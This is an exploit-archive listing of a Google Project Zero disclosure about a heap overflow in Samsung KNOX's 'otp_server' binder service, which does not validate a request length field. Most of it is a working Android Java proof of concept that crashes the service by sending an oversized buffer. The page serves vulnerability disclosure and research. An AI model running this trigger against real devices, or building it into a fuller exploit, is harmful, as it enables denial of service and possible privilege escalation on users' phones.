Author

Google Security Research

Risk

[

Security Risk Medium

]

0day-ID

0day-ID-26518

Category

dos / poc

Date add

13-12-2016

Platform

Android

/**
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=935
 
As a part of the KNOX extensions available on Samsung devices, Samsung provides a new service which allows the generation of OTP tokens.
 
The tokens themselves are generated in a TrustZone application within the TEE (UID: fffffffff0000000000000000000001e). However, in order to allow easy communication between the Non-secure World (NWD) and the Secure-World (SW) trustlet, a new server has been created. This server, called "otp_server", publishes a binder service called "OTP". 
 
The service provides a single command via binder (command code 2), which allows a client to provide a buffer from the NWD to be sent to the SW. The requests are serialized to the parcel as a 32-bit length field, followed by the actual request data.
 
However, "otp_server" does not validate the request length field at all, allowing an attacker to specify any value. This length field is then used in a "memcpy" call in order to copy the data from the parcel to an internal heap-allocated buffer.
 
On the device I'm working on (SM-G925V), the "OTP" service can be accessed from any user, and the "otp_server" process runs with UID system and context "u:r:otp_server:s0".
 
I've attached a small PoC which can be used to trigger the overflow. Running it should crash "otp_server".
*/
 
package com.example.laginimaineb.otp;
 
import android.os.IBinder;
import android.os.Parcel;
import android.os.RemoteException;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.util.Log;
 
public class MainActivity extends AppCompatActivity {
 
    /**
     * The logtag used.
     */
    private static final String LOGTAG = "OTP_TEST";
 
    /**
     * The name of the OTP binder service.
     */
    private static final String INTERFACE_DESCRIPTOR = "OTP";
 
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
 
        try {
            //Getting the binder
            Class smClass = Class.forName("android.os.ServiceManager");
            IBinder binder = (IBinder) smClass.getMethod("getService", String.class).invoke(null, INTERFACE_DESCRIPTOR);
 
            //Creating a connection
            Parcel parcel = Parcel.obtain();
            Parcel reply = Parcel.obtain();
            parcel.writeInterfaceToken(INTERFACE_DESCRIPTOR);
            int length = 0xFFFF;
            parcel.writeInt(length); //Buffer length
            for (int i = 0; i < length/4 + 1; i++)
                parcel.writeInt(0xABABABAB);
            binder.transact(2, parcel, reply, 0);
            reply.recycle();
            parcel.recycle();
 
        } catch (RemoteException ex) {
            Log.e(LOGTAG, "Failed to communicate with remote binder", ex);
        }
    }
}

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